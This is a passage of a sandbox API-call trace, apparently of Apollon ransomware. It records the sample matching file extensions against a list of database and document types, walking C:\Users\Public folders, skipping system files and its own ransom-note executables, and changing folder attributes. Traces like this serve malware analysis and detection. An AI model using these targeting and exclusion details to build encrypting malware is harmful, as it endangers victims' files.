	[0035.660] lstrlenW (lpString="mdbhtml") returned 7
	[0035.660] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.660] lstrlenW (lpString="mdn") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.660] lstrlenW (lpString="mdt") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.660] lstrlenW (lpString="mfd") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.660] lstrlenW (lpString="mpd") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.660] lstrlenW (lpString="mrg") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.660] lstrlenW (lpString="mud") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.660] lstrlenW (lpString="mwb") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.660] lstrlenW (lpString="myd") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.660] lstrlenW (lpString="ndf") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.660] lstrlenW (lpString="nnt") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.660] lstrlenW (lpString="nrmlib") returned 6
	[0035.660] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.660] lstrlenW (lpString="ns2") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.660] lstrlenW (lpString="ns3") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.660] lstrlenW (lpString="ns4") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.660] lstrlenW (lpString="nsf") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.660] lstrlenW (lpString="nv") returned 2
	[0035.660] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.660] lstrlenW (lpString="nv2") returned 3
	[0035.660] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.661] lstrlenW (lpString="nwdb") returned 4
	[0035.661] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.661] lstrlenW (lpString="nyf") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.661] lstrlenW (lpString="odb") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.661] lstrlenW (lpString="odb") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.661] lstrlenW (lpString="oqy") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.661] lstrlenW (lpString="ora") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.661] lstrlenW (lpString="orx") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.661] lstrlenW (lpString="owc") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.661] lstrlenW (lpString="p96") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.661] lstrlenW (lpString="p97") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.661] lstrlenW (lpString="pan") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.661] lstrlenW (lpString="pdb") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.661] lstrlenW (lpString="pdm") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.661] lstrlenW (lpString="pnz") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.661] lstrlenW (lpString="qry") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.661] lstrlenW (lpString="qvd") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.661] lstrlenW (lpString="rbf") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.661] lstrlenW (lpString="rctd") returned 4
	[0035.661] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.661] lstrlenW (lpString="rod") returned 3
	[0035.661] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.662] lstrlenW (lpString="rodx") returned 4
	[0035.662] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.662] lstrlenW (lpString="rpd") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.662] lstrlenW (lpString="rsd") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.662] lstrlenW (lpString="sas7bdat") returned 8
	[0035.662] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.662] lstrlenW (lpString="sbf") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.662] lstrlenW (lpString="scx") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.662] lstrlenW (lpString="sdb") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.662] lstrlenW (lpString="sdc") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.662] lstrlenW (lpString="sdf") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.662] lstrlenW (lpString="sis") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.662] lstrlenW (lpString="spq") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.662] lstrlenW (lpString="te") returned 2
	[0035.662] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.662] lstrlenW (lpString="teacher") returned 7
	[0035.662] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.662] lstrlenW (lpString="tmd") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.662] lstrlenW (lpString="tps") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.662] lstrlenW (lpString="trc") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.662] lstrlenW (lpString="trc") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.662] lstrlenW (lpString="trm") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.662] lstrlenW (lpString="udb") returned 3
	[0035.662] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.663] lstrlenW (lpString="udl") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.663] lstrlenW (lpString="usr") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.663] lstrlenW (lpString="v12") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.663] lstrlenW (lpString="vis") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.663] lstrlenW (lpString="vpd") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.663] lstrlenW (lpString="vvv") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.663] lstrlenW (lpString="wdb") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.663] lstrlenW (lpString="wmdb") returned 4
	[0035.663] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.663] lstrlenW (lpString="wrk") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.663] lstrlenW (lpString="xdb") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.663] lstrlenW (lpString="xld") returned 3
	[0035.663] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.663] lstrlenW (lpString="xmlff") returned 5
	[0035.663] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.663] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="Apollon865.txt.exe") returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1
	[0035.663] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1
	[0035.663] lstrlenW (lpString="Documents") returned 9
	[0035.664] lstrlenW (lpString="C:\\Users\\Public\\desktop.ini") returned 27
	[0035.664] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Documents" | out: lpString1="Documents") returned="Documents"
	[0035.664] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Documents", dwFileAttributes=0x10) returned 1
	[0035.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0035.664] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca110
	[0035.664] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0035.664] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="Apollon865.txt.exe") returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2=".") returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="..") returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="windows") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="bootmgr") returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="temp") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="pagefile.sys") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="boot") returned 1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="ids.txt") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="ntuser.dat") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="perflogs") returned -1
	[0035.664] lstrcmpiW (lpString1="Downloads", lpString2="MSBuild") returned -1
	[0035.664] lstrlenW (lpString="Downloads") returned 9
	[0035.664] lstrlenW (lpString="C:\\Users\\Public\\Documents") returned 25
	[0035.664] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0035.664] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Downloads", dwFileAttributes=0x10) returned 1
	[0035.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0035.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca150
	[0035.665] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0035.665] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0035.665] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0035.665] lstrlenW (lpString="Favorites") returned 9
	[0035.665] lstrlenW (lpString="C:\\Users\\Public\\Downloads") returned 25
	[0035.665] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0035.665] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Favorites", dwFileAttributes=0x12) returned 1
	[0035.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0035.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca190
	[0035.666] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7ad0
	[0035.666] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d8c3ad0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d8c3ad0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.666] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.666] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="Apollon865.txt.exe") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2=".") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="..") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="windows") returned -1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="bootmgr") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="temp") returned -1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="pagefile.sys") returned -1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="boot") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="ids.txt") returned 1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="ntuser.dat") returned -1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="perflogs") returned -1
	[0035.666] lstrcmpiW (lpString1="Libraries", lpString2="MSBuild") returned -1
	[0035.666] lstrlenW (lpString="Libraries") returned 9
	[0035.666] lstrlenW (lpString="C:\\Users\\Public\\Favorites") returned 25
	[0035.666] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Libraries" | out: lpString1="Libraries") returned="Libraries"
	[0035.666] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries", dwFileAttributes=0x12) returned 1
	[0035.666] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0035.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x34) returned 0x5ca1d0
	[0035.667] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0035.667] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0035.667] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0035.667] lstrlenW (lpString="Music") returned 5
	[0035.667] lstrlenW (lpString="C:\\Users\\Public\\Libraries") returned 25
	[0035.667] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Music" | out: lpString1="Music") returned="Music"
	[0035.667] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Music", dwFileAttributes=0x10) returned 1
	[0035.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0035.667] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2c) returned 0x5b7ed0
	[0035.667] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0035.667] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2=".") returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="..") returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="windows") returned -1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="bootmgr") returned 1
	[0035.667] lstrcmpiW (lpString1="Pictures", lpString2="temp") returned -1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="pagefile.sys") returned 1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="boot") returned 1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="ids.txt") returned 1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="ntuser.dat") returned 1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="perflogs") returned 1
	[0035.668] lstrcmpiW (lpString1="Pictures", lpString2="MSBuild") returned 1
	[0035.668] lstrlenW (lpString="Pictures") returned 8
	[0035.668] lstrlenW (lpString="C:\\Users\\Public\\Music") returned 21
	[0035.668] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Pictures" | out: lpString1="Pictures") returned="Pictures"
	[0035.668] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures", dwFileAttributes=0x10) returned 1
	[0035.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b48
	[0035.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x32) returned 0x5ca210
	[0035.668] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b50 | out: ListHead=0x5b76b0, ListEntry=0x5b7b50) returned 0x5b7b30
	[0035.668] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="Apollon865.txt.exe") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2=".") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="..") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="windows") returned -1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="bootmgr") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="temp") returned -1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="pagefile.sys") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="boot") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="ids.txt") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="ntuser.dat") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="perflogs") returned 1
	[0035.668] lstrcmpiW (lpString1="Recorded TV", lpString2="MSBuild") returned 1
	[0035.668] lstrlenW (lpString="Recorded TV") returned 11
	[0035.668] lstrlenW (lpString="C:\\Users\\Public\\Pictures") returned 24
	[0035.668] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Recorded TV" | out: lpString1="Recorded TV") returned="Recorded TV"
	[0035.668] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Recorded TV", dwFileAttributes=0x10) returned 1
	[0035.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0035.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca250
	[0035.669] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7b50
	[0035.669] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="Apollon865.txt.exe") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2=".") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="..") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="windows") returned -1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="bootmgr") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="temp") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="pagefile.sys") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="boot") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="ids.txt") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="ntuser.dat") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="perflogs") returned 1
	[0035.669] lstrcmpiW (lpString1="Videos", lpString2="MSBuild") returned 1
	[0035.669] lstrlenW (lpString="Videos") returned 6
	[0035.669] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV") returned 27
	[0035.669] lstrcpyW (in: lpString1=0x2d3e570, lpString2="Videos" | out: lpString1="Videos") returned="Videos"
	[0035.669] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos", dwFileAttributes=0x10) returned 1
	[0035.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0035.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x2e) returned 0x5b7f08
	[0035.670] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7b70
